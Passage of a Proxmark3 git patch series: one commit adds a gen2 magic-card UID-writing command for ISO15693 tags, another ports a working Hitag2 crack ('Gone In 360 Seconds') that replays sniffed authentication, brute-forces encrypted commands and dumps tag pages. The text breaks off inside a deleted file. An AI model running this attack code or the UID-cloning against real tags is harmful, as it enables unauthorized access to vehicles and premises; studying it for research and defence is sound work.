From 87c6633de1d718c7209b9fba0c76717a11ea7eb5 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Mon, 22 Apr 2024 09:04:01 +0200 Subject: [PATCH 01/16] add support for generation 2 magic command when setting UID on ISO15693 cards. ref:: https://github.com/RfidResearchGroup/proxmark3/issues/1604#issuecomment-2068444071 --- CHANGELOG.md | 3 +- armsrc/appmain.c | 8 +++++ armsrc/iso15693.c | 67 ++++++++++++++++++++++++++++++++++-------- client/src/cmdhf15.c | 16 ++++++++-- client/src/cmdhflist.c | 5 +++- include/pm3_cmd.h | 6 +++- include/protocols.h | 7 +++-- 7 files changed, 91 insertions(+), 21 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 537b0a721..3fb4060b8 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,7 +3,8 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] -- Changed `hf mfp info` to identify Ev2 (@iceman1001) +- Changed `hf 15 csetuid` - now supports gen2 command (@iceman1001) +- Changed `hf mfp info` - to identify Ev2 (@iceman1001) - Updated Graph Markers implementation to include temporary markers and marker labels (@HACKhalo2) - Updated to SWIG 4.2.1 (@iceman1001) - Removed `data bin2hex` - replaced by `data num` (@iceman1001) diff --git a/armsrc/appmain.c b/armsrc/appmain.c index fa1e9cd58..22bdc0ca1 100644 --- a/armsrc/appmain.c +++ b/armsrc/appmain.c @@ -1364,6 +1364,14 @@ static void PacketReceived(PacketCommandNG *packet) { SetTag15693Uid(payload->uid); break; } + case CMD_HF_ISO15693_CSETUID_V2: { + struct p { + uint8_t uid[8]; + } PACKED; + struct p *payload = (struct p *) packet->data.asBytes; + SetTag15693Uid_v2(payload->uid); + break; + } case CMD_HF_ISO15693_SLIX_DISABLE_EAS: { struct p { uint8_t pwd[4]; diff --git a/armsrc/iso15693.c b/armsrc/iso15693.c index f9cc574ba..460bc9749 100644 --- a/armsrc/iso15693.c +++ b/armsrc/iso15693.c @@ -2890,21 +2890,14 @@ void SetTag15693Uid(const uint8_t *uid) { uint8_t cmd[4][9] = { {ISO15_REQ_DATARATE_HIGH, ISO15693_WRITEBLOCK, 0x3e, 0x00, 0x00, 0x00, 0x00, 0xE9, 0x8F}, {ISO15_REQ_DATARATE_HIGH, ISO15693_WRITEBLOCK, 0x3f, 0x69, 0x96, 0x00, 0x00, 0x8A, 0xBB}, - {ISO15_REQ_DATARATE_HIGH, ISO15693_WRITEBLOCK, 0x38}, - {ISO15_REQ_DATARATE_HIGH, ISO15693_WRITEBLOCK, 0x39} + + // Command 3 : 02 21 38 u8u7u6u5 (where uX = uid byte X) + {ISO15_REQ_DATARATE_HIGH, ISO15693_WRITEBLOCK, 0x38, uid[7], uid[6], uid[5], uid[4]}, + + // Command 4 : 02 21 39 u4u3u2u1 (where uX = uid byte X) + {ISO15_REQ_DATARATE_HIGH, ISO15693_WRITEBLOCK, 0x39, uid[3], uid[2], uid[1], uid[0]} }; - // Command 3 : 02 21 38 u8u7u6u5 (where uX = uid byte X) - cmd[2][3] = uid[7]; - cmd[2][4] = uid[6]; - cmd[2][5] = uid[5]; - cmd[2][6] = uid[4]; - - // Command 4 : 02 21 39 u4u3u2u1 (where uX = uid byte X) - cmd[3][3] = uid[3]; - cmd[3][4] = uid[2]; - cmd[3][5] = uid[1]; - cmd[3][6] = uid[0]; AddCrc15(cmd[2], 7); AddCrc15(cmd[3], 7); @@ -2938,6 +2931,54 @@ void SetTag15693Uid(const uint8_t *uid) { switch_off(); } +// Set the UID on Magic ISO15693 tag ( Gen2 ?) +// E0 00 09 - seem to be command +// 0x41, 0x40 - seem to be block referens +void SetTag15693Uid_v2(const uint8_t *uid) { + + LED_A_ON(); + uint8_t cmd[2][11] = { + + // hf 15 raw -wac -d 02e00941 + uid first four bytes + {ISO15_REQ_DATARATE_HIGH, ISO15693_MAGIC_WRITE, 0x00, 0x09, 0x41, uid[7], uid[6], uid[5], uid[4], 0x00, 0x00}, + + // hf 15 raw -wac -d 02e00940 + uid last four bytes + {ISO15_REQ_DATARATE_HIGH, ISO15693_MAGIC_WRITE, 0x00, 0x09, 0x40, uid[3], uid[2], uid[1], uid[0], 0x00, 0x00} + }; + + AddCrc15(cmd[0], 9); + AddCrc15(cmd[1], 9); + + uint8_t buf[ISO15693_MAX_RESPONSE_LENGTH] = {0x00}; + + uint32_t start_time = 0; + uint32_t eof_time = 0; + uint16_t recvlen = 0; + + int res = PM3_SUCCESS; + + for (int i = 0; i < 2; i++) { + res = SendDataTag( + cmd[i], + sizeof(cmd[i]), + (i == 0) ? true : false, + true, + buf, + sizeof(buf), + start_time, + ISO15693_READER_TIMEOUT_WRITE, + &eof_time, + &recvlen + ); + + start_time = eof_time + DELAY_ISO15693_VICC_TO_VCD_READER; + } + + reply_ng(CMD_HF_ISO15693_CSETUID_V2, res, NULL, 0); + switch_off(); +} + + static void init_password_15693_Slix(uint8_t *buffer, const uint8_t *pwd, const uint8_t *rnd) { memcpy(buffer, pwd, 4); if (rnd) { diff --git a/client/src/cmdhf15.c b/client/src/cmdhf15.c index 11831dd5e..0144f7fcf 100644 --- a/client/src/cmdhf15.c +++ b/client/src/cmdhf15.c @@ -2735,11 +2735,14 @@ static int CmdHF15CSetUID(const char *Cmd) { CLIParserContext *ctx; CLIParserInit(&ctx, "hf 15 csetuid", "Set UID for magic Chinese card (only works with such cards)\n", - "hf 15 csetuid -u E011223344556677"); + "hf 15 csetuid -u E011223344556677 -> use gen1 command\n" + "hf 15 csetuid -u E011223344556677 --v2 -> use gen2 command" + ); void *argtable[] = { arg_param_begin, arg_str1("u", "uid", "", "UID, 8 hex bytes"), + arg_lit0("2", "v2", "Use gen2 magic command"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, false); @@ -2750,6 +2753,7 @@ static int CmdHF15CSetUID(const char *Cmd) { int uidlen = 0; CLIGetHexWithReturn(ctx, 1, payload.uid, &uidlen); + bool use_v2 = arg_get_lit(ctx, 2); CLIParserFree(ctx); if (uidlen != HF15_UID_LENGTH) { @@ -2775,8 +2779,14 @@ static int CmdHF15CSetUID(const char *Cmd) { PrintAndLogEx(INFO, "Writing..."); PacketResponseNG resp; clearCommandBuffer(); - SendCommandNG(CMD_HF_ISO15693_CSETUID, (uint8_t *)&payload, sizeof(payload)); - if (WaitForResponseTimeout(CMD_HF_ISO15693_CSETUID, &resp, 2000) == false) { + + uint16_t cmd = CMD_HF_ISO15693_CSETUID; + if (use_v2) { + cmd = CMD_HF_ISO15693_CSETUID_V2; + } + + SendCommandNG(cmd, (uint8_t *)&payload, sizeof(payload)); + if (WaitForResponseTimeout(cmd, &resp, 2000) == false) { PrintAndLogEx(WARNING, "timeout while waiting for reply"); DropField(); return PM3_ESOFT; diff --git a/client/src/cmdhflist.c b/client/src/cmdhflist.c index be429561c..d76119482 100644 --- a/client/src/cmdhflist.c +++ b/client/src/cmdhflist.c @@ -704,6 +704,9 @@ void annotateIso15693(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize) { case ISO15693_READ_SIGNATURE: snprintf(exp, size, "READ_SIGNATURE"); return; + case ISO15693_MAGIC_WRITE: + snprintf(exp, size, "MAGIC_WRITEBLOCK"); + return; default: break; } @@ -2223,7 +2226,7 @@ bool DecodeMifareData(uint8_t *cmd, uint8_t cmdsize, uint8_t *parity, bool isRes char sat[5] = {0, 0, 0, 0, 0}; mf_get_paritybinstr(sat, AuthData.at_enc, AuthData.at_enc_par); - PrintAndLogEx(NORMAL, "Nested authentication detected. "); + PrintAndLogEx(NORMAL, "Nested authentication detected!"); PrintAndLogEx(NORMAL, "tools/mf_nonce_brute/mf_nonce_brute %x %x %s %x %x %s %x %s %s\n" , AuthData.uid , AuthData.nt_enc diff --git a/include/pm3_cmd.h b/include/pm3_cmd.h index f82a31d69..5cc15946b 100644 --- a/include/pm3_cmd.h +++ b/include/pm3_cmd.h @@ -564,7 +564,6 @@ typedef struct { #define CMD_HF_ISO15693_SNIFF 0x0312 #define CMD_HF_ISO15693_COMMAND 0x0313 #define CMD_HF_ISO15693_FINDAFI 0x0315 -#define CMD_HF_ISO15693_CSETUID 0x0316 #define CMD_HF_ISO15693_SLIX_ENABLE_PRIVACY 0x0867 #define CMD_HF_ISO15693_SLIX_DISABLE_PRIVACY 0x0317 #define CMD_HF_ISO15693_SLIX_DISABLE_EAS 0x0318 @@ -578,12 +577,17 @@ typedef struct { #define CMD_HF_ISO15693_EML_SETMEM 0x0331 #define CMD_HF_ISO15693_EML_GETMEM 0x0332 +#define CMD_HF_ISO15693_CSETUID 0x0316 +#define CMD_HF_ISO15693_CSETUID_V2 0x0333 + #define CMD_LF_SNIFF_RAW_ADC 0x0360 // For Hitag2 transponders #define CMD_LF_HITAG_SNIFF 0x0370 #define CMD_LF_HITAG_SIMULATE 0x0371 #define CMD_LF_HITAG_READER 0x0372 +#define CMD_LF_HITAG2_WRITE 0x0377 +#define CMD_LF_HITAG2_CRACK 0x0378 // For HitagS #define CMD_LF_HITAGS_TEST_TRACES 0x0367 diff --git a/include/protocols.h b/include/protocols.h index 68fa344eb..6cf5c5c2d 100644 --- a/include/protocols.h +++ b/include/protocols.h @@ -369,10 +369,10 @@ ISO 7816-4 Basic interindustry commands. For command APDU's. #define CRYPTORF_ERR_MEMORY_ACCESS 0xEE #define CRYPTORF_ERR_MEMORY_ACCESS_SEC 0xF9 -//First byte is 26 +// First byte is 26 #define ISO15693_INVENTORY 0x01 #define ISO15693_STAYQUIET 0x02 -//First byte is 02 +// First byte is 02 #define ISO15693_READBLOCK 0x20 #define ISO15693_WRITEBLOCK 0x21 #define ISO15693_LOCKBLOCK 0x22 @@ -412,6 +412,9 @@ ISO 7816-4 Basic interindustry commands. For command APDU's. #define ISO15693_STAYQUIET_PERSISTENT 0xBC #define ISO15693_READ_SIGNATURE 0xBD +// +#define ISO15693_MAGIC_WRITE 0xE0 + // Topaz command set: #define TOPAZ_REQA 0x26 // Request #define TOPAZ_WUPA 0x52 // WakeUp From d1e921171b99631365c6edc35c1f272f543662b3 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Mon, 22 Apr 2024 09:10:09 +0200 Subject: [PATCH 02/16] removed old unused rfidler code. Added modified code to work with proxmark3. Thanks to @kevsecurity and @AdamLaurie! --- armsrc/hitag2_crack.c | 356 ++++++++++++++++++ armsrc/hitag2_crack.h | 27 ++ armsrc/hitag2crack.c | 840 ------------------------------------------ armsrc/hitag2crack.h | 42 --- 4 files changed, 383 insertions(+), 882 deletions(-) create mode 100644 armsrc/hitag2_crack.c create mode 100644 armsrc/hitag2_crack.h delete mode 100644 armsrc/hitag2crack.c delete mode 100644 armsrc/hitag2crack.h diff --git a/armsrc/hitag2_crack.c b/armsrc/hitag2_crack.c new file mode 100644 index 000000000..bc3b197cb --- /dev/null +++ b/armsrc/hitag2_crack.c @@ -0,0 +1,356 @@ +//----------------------------------------------------------------------------- +// Copyright (C) Proxmark3 contributors. See AUTHORS.md for details. +// +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// See LICENSE.txt for the text of the license. +//----------------------------------------------------------------------------- + +// This coode has been converted from RFIDler source code to work with Proxmark3. +// https://github.com/AdamLaurie/RFIDler/blob/master/firmware/Pic32/RFIDler.X/src/hitag2crack.c + + +#include "hitag2_crack.h" +#include "hitag2_crypto.h" +#include "hitag2.h" +#include "proxmark3_arm.h" +#include "commonutil.h" +#include "dbprint.h" +#include "util.h" +#include "string.h" +#include "BigBuf.h" +#include "cmd.h" + +const static uint8_t ERROR_RESPONSE[] = { 0xF4, 0x02, 0x88, 0x9C }; + +// #define READP0CMD "1100000111" +const static uint8_t read_p0_cmd[] = {1,1,0,0,0,0,0,1,1,1}; + +// hitag2crack_xor XORs the source with the pad to produce the target. +// source, target and pad are binarrays of length len. +static void hitag2crack_xor(uint8_t *target, const uint8_t *source, const uint8_t *pad, uint16_t len) { + for (uint16_t i = 0; i < len; i++) { + target[i] = source[i] ^ pad[i]; + } +} + +// hitag2crack_send_e_cmd replays the auth and sends the given encrypted +// command. +// responsestr is the hexstring of the response to the command; +// nrar is the 64 bit binarray of the nR aR pair; +// cmd is the binarray of the encrypted command to send; +// len is the length of the encrypted command. +static bool hitag2crack_send_e_cmd(uint8_t *resp, uint8_t *nrar, uint8_t *cmd, int len) { + + memset(resp, 0, 4); + + // Get UID + uint8_t uid[4]; + if (ht2_read_uid(uid, false, false, true) != PM3_SUCCESS) { + return false; + } + + // send nrar and receive (useless) encrypted page 3 value + uint8_t e_page3[4]; + size_t n = 0; + if (ht2_tx_rx(nrar, 64, e_page3, &n, true, true) != PM3_SUCCESS) { + return false; + } + + // send encrypted command + n = 0; + ht2_tx_rx(cmd, len, resp, &n, true, false); + + if (n == 32) { + return true; + } + return false; +} + +// hitag2crack_read_page uses the supplied key stream and nrar pair to read the +// given page, returning the response as a hexstring. +// responsestr is the returned hexstring; +// pagenum is the page number to read; +// nrar is the 64 bit binarray of the nR aR pair; +// keybits is the binarray of the key stream. +static bool hitag2crack_read_page(uint8_t *resp, uint8_t pagenum, uint8_t *nrar, uint8_t *keybits) { + + if (pagenum > 7) { + return false; + } + + // create cmd + uint8_t cmd[10]; + memcpy(cmd, read_p0_cmd, sizeof(read_p0_cmd)); + + if (pagenum & 0x1) { + cmd[9] = !cmd[9]; + cmd[4] = !cmd[4]; + } + + if (pagenum & 0x2) { + cmd[8] = !cmd[8]; + cmd[3] = !cmd[3]; + } + + if (pagenum & 0x4) { + cmd[7] = !cmd[7]; + cmd[2] = !cmd[2]; + } + + // encrypt command + uint8_t e_cmd[10] = {0}; + hitag2crack_xor(e_cmd, cmd, keybits, 10); + + // send encrypted command + uint8_t e_resp[4]; + if (hitag2crack_send_e_cmd(e_resp, nrar, e_cmd, 10)) { + + // check if it is valid OBS! + if (memcmp(e_resp, ERROR_RESPONSE, 4)) { + + uint8_t e_response[32]; + uint8_t response[32]; + + // convert to binarray + hex2binarray((char*)e_response, (char*)e_resp); + // decrypt response + hitag2crack_xor(response, e_response, keybits + 10, 32); + + // convert to hexstring + binarray2hex(response, 32, resp); + + return true; + } + } + + return false; +} + +// hitag2crack_test_e_p0cmd XORs the message (command + response) with the +// encrypted version to retrieve the key stream. It then uses this key stream +// to encrypt an extended version of the READP0CMD and tests if the response +// is valid. +// keybits is the returned binarray of the key stream; +// nrar is the 64 bit binarray of nR aR pair; +// e_cmd is the binarray of the encrypted command; +// uid is the binarray of the card UID; +// e_uid is the binarray of the encrypted version of the UID. +static bool hitag2crack_test_e_p0cmd(uint8_t *keybits, uint8_t *nrar, uint8_t *e_cmd, uint8_t *uid, uint8_t *e_uid) { + + uint8_t cipherbits[42]; + memcpy(cipherbits, e_cmd, 10); // copy encrypted cmd to cipherbits + memcpy(cipherbits + 10, e_uid, 32); // copy encrypted uid to cipherbits + + + uint8_t plainbits[42]; + memcpy(plainbits, read_p0_cmd, sizeof(read_p0_cmd)); // copy cmd to plainbits + memcpy(plainbits + 10, uid, 32); // copy uid to plainbits + + // xor the plainbits with the cipherbits to get keybits + hitag2crack_xor(keybits, plainbits, cipherbits, 42); + + // create extended cmd -> 4 * READP0CMD = 40 bits + uint8_t ext_cmd[40]; + memcpy(ext_cmd, read_p0_cmd, sizeof(read_p0_cmd)); + memcpy(ext_cmd + 10, read_p0_cmd, sizeof(read_p0_cmd)); + memcpy(ext_cmd + 20, read_p0_cmd, sizeof(read_p0_cmd)); + memcpy(ext_cmd + 30, read_p0_cmd, sizeof(read_p0_cmd)); + + // xor extended cmd with keybits + uint8_t e_ext_cmd[40]; + hitag2crack_xor(e_ext_cmd, ext_cmd, keybits, 40); + + // send extended encrypted cmd + uint8_t resp[4]; + if (hitag2crack_send_e_cmd(resp, nrar, e_ext_cmd, 40)) { + + // test if it was valid + if (memcmp(resp, ERROR_RESPONSE, 4)) { + return true; + } + } + return false; +} + +// hitag2crack_find_e_page0_cmd tries all bit-flipped combinations of the +// valid encrypted command and tests the results by attempting an extended +// command version of the command to see if that produces a valid response. +// keybits is the returned binarray of the recovered key stream; +// e_page0cmd is the returned binarray of the encrypted 'read page 0' command; +// e_firstcmd is the binarray of the first valid encrypted command found; +// nrar is the binarray of the 64 bit nR aR pair; +// uid is the binarray of the 32 bit UID. +static bool hitag2crack_find_e_page0_cmd(uint8_t *keybits, uint8_t *e_firstcmd, uint8_t *nrar, uint8_t *uid) { + + // we're going to brute the missing 4 bits of the valid encrypted command + for (uint8_t a = 0; a < 2; a++) { + for (uint8_t b = 0; b < 2; b++) { + for (uint8_t c = 0; c < 2; c++) { + for (uint8_t d = 0; d < 2; d++) { + // create our guess by bit flipping the pattern of bits + // representing the inverted bit and the 3 page bits + // in both the non-inverted and inverted parts of the + // encrypted command. + uint8_t guess[10]; + memcpy(guess, e_firstcmd, 10); + if (a) { + guess[5] = !guess[5]; + guess[0] = !guess[0]; + } + + if (b) { + guess[7] = !guess[7]; + guess[2] = !guess[2]; + } + + if (c) { + guess[8] = !guess[8]; + guess[3] = !guess[3]; + } + + if (d) { + guess[9] = !guess[9]; + guess[4] = !guess[4]; + } + + // try the guess + uint8_t resp[4]; + if (hitag2crack_send_e_cmd(resp, nrar, guess, 10)) { + + // check if it was valid + if (memcmp(resp, ERROR_RESPONSE, 4)) { + + // convert response to binarray + uint8_t e_uid[32]; + hex2binarray((char*)e_uid, (char*)resp); + + // test if the guess was 'read page 0' command + if (hitag2crack_test_e_p0cmd(keybits, nrar, guess, uid, e_uid)) { + return true; + } + } + } + } + } + } + } + return false; +} + +// hitag2crack_find_valid_e_cmd repeatedly replays the auth protocol each +// with a different sequential encrypted command value in order to find one +// that returns a valid response. +// e_cmd is the returned binarray of the valid encrypted command; +// nrar is the binarray of the 64 bit nR aR pair. +static bool hitag2crack_find_valid_e_cmd(uint8_t *e_cmd, uint8_t *nrar) { + + // we're going to hold bits 5, 7, 8 and 9 and brute force the rest + // e.g. x x x x x 0 x 0 0 0 + for (uint8_t a = 0; a < 2; a++) { + for (uint8_t b = 0; b < 2; b++) { + for (uint8_t c = 0; c < 2; c++) { + for (uint8_t d = 0; d < 2; d++) { + for (uint8_t e = 0; e < 2; e++) { + for (uint8_t g = 0; g < 2; g++) { + + // build binarray + //uint8_t guess[10] = { a, b, c, d, e, 0, g, 0, 0, 0 }; + uint8_t guess[10]; + guess[0] = a; + guess[1] = b; + guess[2] = c; + guess[3] = d; + guess[4] = e; + guess[5] = 0; + guess[6] = g; + guess[7] = 0; + guess[8] = 0; + guess[9] = 0; + + // send guess + uint8_t resp[4]; + if (hitag2crack_send_e_cmd(resp, nrar, guess, sizeof(guess))) { + + // check if it was valid + if (memcmp(resp, ERROR_RESPONSE, 4)) { + // return the guess as the encrypted command + memcpy(e_cmd, guess, 10); + return true; + } + } + } + } + } + } + } + } + return false; +} + +// hitag2_crack implements the first crack algorithm described in the paper, +// Gone In 360 Seconds by Verdult, Garcia and Balasch. +// response is a multi-line text response containing the 8 pages of the cracked tag +// nrarhex is a string containing hex representations of the 32 bit nR and aR values +void ht2_crack(uint8_t *nrar_hex) { + + clear_trace(); + + lf_hitag_crack_response_t packet; + memset((uint8_t*)&packet, 0x00, sizeof(lf_hitag_crack_response_t)); + + int res = PM3_SUCCESS; + + // get uid as hexstring + uint8_t uid_hex[4]; + if (ht2_read_uid(uid_hex, false, false, false) != PM3_SUCCESS) { + packet.status = -1; + res = PM3_EFAILED; + goto out; + } + + // convert to binarray + uint8_t nrar[64] = {0}; + hex2binarray_n((char*)nrar, (char*)nrar_hex, 8); + + // find a valid encrypted command + uint8_t e_firstcmd[10]; + if (hitag2crack_find_valid_e_cmd(e_firstcmd, nrar) == false) { + packet.status = -2; + res = PM3_EFAILED; + goto out; + } + + // now we got a first encrypted command inside e_firstcmd + uint8_t uid[32]; + hex2binarray_n((char*)uid, (char*)uid_hex, 4); + + // find the 'read page 0' command and recover key stream + uint8_t keybits[42]; + if (hitag2crack_find_e_page0_cmd(keybits, e_firstcmd, nrar, uid) == false) { + packet.status = -3; + res = PM3_EFAILED; + goto out; + } + + // read all pages using key stream + for (uint8_t i = 1; i < 8; i++) { + hitag2crack_read_page(packet.data + (i * 4), i, nrar, keybits); + } + + // copy UID since we already have it... + memcpy(packet.data, uid_hex, 4); + + packet.status = 1; + +out: + reply_ng(CMD_LF_HITAG2_CRACK, res, (uint8_t*)&packet, sizeof(lf_hitag_crack_response_t)); +} diff --git a/armsrc/hitag2_crack.h b/armsrc/hitag2_crack.h new file mode 100644 index 000000000..8709da195 --- /dev/null +++ b/armsrc/hitag2_crack.h @@ -0,0 +1,27 @@ +//----------------------------------------------------------------------------- +// Copyright (C) Proxmark3 contributors. See AUTHORS.md for details. +// +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// See LICENSE.txt for the text of the license. +//----------------------------------------------------------------------------- +// Hitag2 crack implementeation +//----------------------------------------------------------------------------- + +#ifndef _HITAG2_CRACK__H_ +#define _HITAG2_CRACK__H_ + +#include +#include "common.h" + +void ht2_crack(uint8_t *nrar_hex); + +#endif diff --git a/armsrc/hitag2crack.c b/armsrc/hitag2crack.c deleted file mode 100644 index 138fdf451..000000000 --- a/armsrc/hitag2crack.c +++ /dev/null @@ -1,840 +0,0 @@ -//----------------------------------------------------------------------------- -// Borrowed initially from https://github.com/factoritbv/hitag2hell -// and https://github.com/AdamLaurie/RFIDler/blob/master/firmware/Pic32/RFIDler.X/src/hitag2crack.c -// Copyright (C) Kevin Sheldrake , Aug 2018 -// Copyright (C) Proxmark3 contributors. See AUTHORS.md for details. -// -// This program is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, either version 3 of the License, or -// (at your option) any later version. -// -// This program is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// See LICENSE.txt for the text of the license. -//----------------------------------------------------------------------------- -// hitag2 attack functions -//----------------------------------------------------------------------------- - -#include "hitag2_crypto.h" -#include "hitag2crack.h" - -#define READP0CMD "1100000111" -#define ERROR_RESPONSE "F402889C" - -static const uint8_t Hitag2Sync[5]; -static bool CryptoActive; -static Hitag_State Hitag_Crypto_State; - -// hitag2_crack implements the first crack algorithm described in the paper, -// Gone In 360 Seconds by Verdult, Garcia and Balasch. -// response is a multi-line text response containing the 8 pages of the -// cracked tag; -// nrarhex is a string containing hex representations of the 32 bit nR and aR -// values (separated by a space) snooped using SNIFF-PWM. -bool hitag2_crack(uint8_t *response, uint8_t *nrarhex) { - uint8_t uidhex[9]; - uint8_t uid[32]; - uint8_t nrar[64]; - uint8_t e_firstcmd[10]; -// uint8_t e_page0cmd[10]; - uint8_t keybits[42]; - uint8_t pagehex[9]; - uint8_t temp[20]; - int i; - uint8_t *spaceptr = NULL; - - // get uid as hexstring - if (!hitag2_get_uid(uidhex)) { - UserMessage("Cannot get UID\r\n"); - return false; - } - - // convert uid hexstring to binarray - hextobinarray(uid, uidhex); - - // convert nR and aR hexstrings to binarray - spaceptr = strchr(nrarhex, ' '); - if (!spaceptr) { - UserMessage("Please supply a valid nR aR pair\r\n"); - return false; - } - *spaceptr = 0x00; - - if (hextobinarray(nrar, nrarhex) != 32) { - UserMessage("nR is not 32 bits long\r\n"); - return false; - } - - if (hextobinarray(nrar + 32, spaceptr + 1) != 32) { - UserMessage("aR is not 32 bits long\r\n"); - return false; - } - - // find a valid encrypted command - if (!hitag2crack_find_valid_e_cmd(e_firstcmd, nrar)) { - UserMessage("Cannot find a valid encrypted command\r\n"); - return false; - } - - // find the 'read page 0' command and recover key stream - if (!hitag2crack_find_e_page0_cmd(keybits, e_firstcmd, nrar, uid)) { - UserMessage("Cannot find encrypted 'read page0' command\r\n"); - return false; - } - - // empty the response string - response[0] = 0x00; - - // read all pages using key stream - for (i = 0; i < 8; i++) { - if (hitag2crack_read_page(pagehex, i, nrar, keybits)) { - sprintf(temp, "%1d: %s\r\n", i, pagehex); - } else { - sprintf(temp, "%1d:\r\n", i); - } - // add page string to response - strcat(response, temp); - } - - return true; -} - -// hitag2crack_find_valid_e_cmd repeatedly replays the auth protocol each -// with a different sequential encrypted command value in order to find one -// that returns a valid response. -// e_cmd is the returned binarray of the valid encrypted command; -// nrar is the binarray of the 64 bit nR aR pair. -bool hitag2crack_find_valid_e_cmd(uint8_t e_cmd[], uint8_t nrar[]) { - uint8_t guess[10]; - uint8_t responsestr[9]; - -// UserMessage("Finding valid encrypted command:"); - // we're going to hold bits 5, 7, 8 and 9 and brute force the rest - // e.g. x x x x x 0 x 0 0 0 - for (uint8_t a = 0; a < 2; a++) { - for (uint8_t b = 0; b < 2; b++) { - for (uint8_t c = 0; c < 2; c++) { - for (uint8_t d = 0; d < 2; d++) { - for (uint8_t e = 0; e < 2; e++) { - for (uint8_t g = 0; g < 2; g++) { - // build binarray - guess[0] = a; - guess[1] = b; - guess[2] = c; - guess[3] = d; - guess[4] = e; - guess[5] = 0; - guess[6] = g; - guess[7] = 0; - guess[8] = 0; - guess[9] = 0; - - // send guess - if (hitag2crack_send_e_cmd(responsestr, nrar, guess, 10)) { - // check if it was valid - if (strcmp(responsestr, ERROR_RESPONSE) != 0) { - // return the guess as the encrypted command - memcpy(e_cmd, guess, 10); - return true; - } - } else { -#ifdef RFIDLER_DEBUG - UserMessage("hitag2crack_find_valid_e_cmd:\r\n hitag2crack_send_e_cmd failed\r\n"); -#endif - } - UserMessage("."); - } - } - } - } - } - } -// UserMessage("hitag2crack_find_valid_e_cmd:\r\n no valid encrypted command found\r\n"); - return false; -} - -// hitag2crack_find_e_page0_cmd tries all bit-flipped combinations of the -// valid encrypted command and tests the results by attempting an extended -// command version of the command to see if that produces a valid response. -// keybits is the returned binarray of the recovered key stream; -// e_page0cmd is the returned binarray of the encrypted 'read page 0' command; -// e_firstcmd is the binarray of the first valid encrypted command found; -// nrar is the binarray of the 64 bit nR aR pair; -// uid is the binarray of the 32 bit UID. -bool hitag2crack_find_e_page0_cmd(uint8_t keybits[], uint8_t e_firstcmd[], uint8_t nrar[], uint8_t uid[]) { - uint8_t a, b, c, d; - uint8_t guess[10]; - uint8_t responsestr[9]; - uint8_t e_uid[32]; - - UserMessage("Finding 'read page 0' command:"); - // we're going to brute the missing 4 bits of the valid encrypted command - for (a = 0; a < 2; a++) { - for (b = 0; b < 2; b++) { - for (c = 0; c < 2; c++) { - for (d = 0; d < 2; d++) { - // create our guess by bit flipping the pattern of bits - // representing the inverted bit and the 3 page bits - // in both the non-inverted and inverted parts of the - // encrypted command. - memcpy(guess, e_firstcmd, 10); - if (a) { - guess[5] = !guess[5]; - guess[0] = !guess[0]; - } - if (b) { - guess[7] = !guess[7]; - guess[2] = !guess[2]; - } - if (c) { - guess[8] = !guess[8]; - guess[3] = !guess[3]; - } - if (d) { - guess[9] = !guess[9]; - guess[4] = !guess[4]; - } - - // try the guess - if (hitag2crack_send_e_cmd(responsestr, nrar, guess, 10)) { - // check if it was valid - if (strcmp(responsestr, ERROR_RESPONSE) != 0) { - // convert response to binarray - hextobinarray(e_uid, responsestr); - // test if the guess was 'read page 0' command - if (hitag2crack_test_e_p0cmd(keybits, nrar, guess, uid, e_uid)) { - - return true; - } - } else { -#ifdef RFIDLER_DEBUG - UserMessage("hitag2crack_find_e_page0_cmd:\r\n hitag2crack_send_e_cmd returned ERROR_RESPONSE\r\n"); -#endif - } - } else { -#ifdef RFIDLER_DEBUG - UserMessage("hitag2crack_find_e_page0_cmd:\r\n hitag2crack_send_e_cmd failed\r\n"); -#endif - } - UserMessage("."); - } - } - } - } - UserMessage("hitag2crack_find_e_page0_cmd:\r\n could not find encrypted 'read page 0' command\r\n"); - return false; -} - -// hitag2crack_test_e_p0cmd XORs the message (command + response) with the -// encrypted version to retrieve the key stream. It then uses this key stream -// to encrypt an extended version of the READP0CMD and tests if the response -// is valid. -// keybits is the returned binarray of the key stream; -// nrar is the 64 bit binarray of nR aR pair; -// e_cmd is the binarray of the encrypted command; -// uid is the binarray of the card UID; -// e_uid is the binarray of the encrypted version of the UID. -bool hitag2crack_test_e_p0cmd(uint8_t *keybits, uint8_t *nrar, uint8_t *e_cmd, uint8_t *uid, uint8_t *e_uid) { - uint8_t cipherbits[42]; - uint8_t plainbits[42]; - uint8_t ext_cmd[40]; - uint8_t e_ext_cmd[40]; - uint8_t responsestr[9]; - int i; - - // copy encrypted cmd to cipherbits - memcpy(cipherbits, e_cmd, 10); - - // copy encrypted uid to cipherbits - memcpy(cipherbits + 10, e_uid, 32); - - // copy cmd to plainbits - binstringtobinarray(plainbits, READP0CMD); - - // copy uid to plainbits - memcpy(plainbits + 10, uid, 32); - - // xor the plainbits with the cipherbits to get keybits - hitag2crack_xor(keybits, plainbits, cipherbits, 42); - - // create extended cmd -> 4 * READP0CMD = 40 bits - for (i = 0; i < 4; i++) { - binstringtobinarray(ext_cmd + (i * 10), READP0CMD); - } - - // xor extended cmd with keybits - hitag2crack_xor(e_ext_cmd, ext_cmd, keybits, 40); - - // send extended encrypted cmd - if 